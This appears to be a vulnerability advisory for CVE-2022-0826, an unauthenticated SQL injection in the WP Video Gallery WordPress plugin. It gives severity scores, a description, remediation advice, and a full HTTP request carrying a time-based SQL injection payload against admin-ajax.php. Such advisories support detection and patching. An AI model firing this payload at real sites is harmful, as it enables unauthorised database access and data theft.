| Title | WordPress WP Video Gallery <=1.7.1 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site. |
| Remediation | Update to the latest version of WP Video Gallery plugin (>=1.7.2) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.77316 |
| CVE ID | CVE-2022-0826 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 wp-plugin wpscan wordpress wp sqli wp-video-gallery-free unauth wp-video-gallery-free_project vkev vuln |
WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 131
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wp_video_gallery_ajax_add_single_youtube&url=http://oast.me/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523
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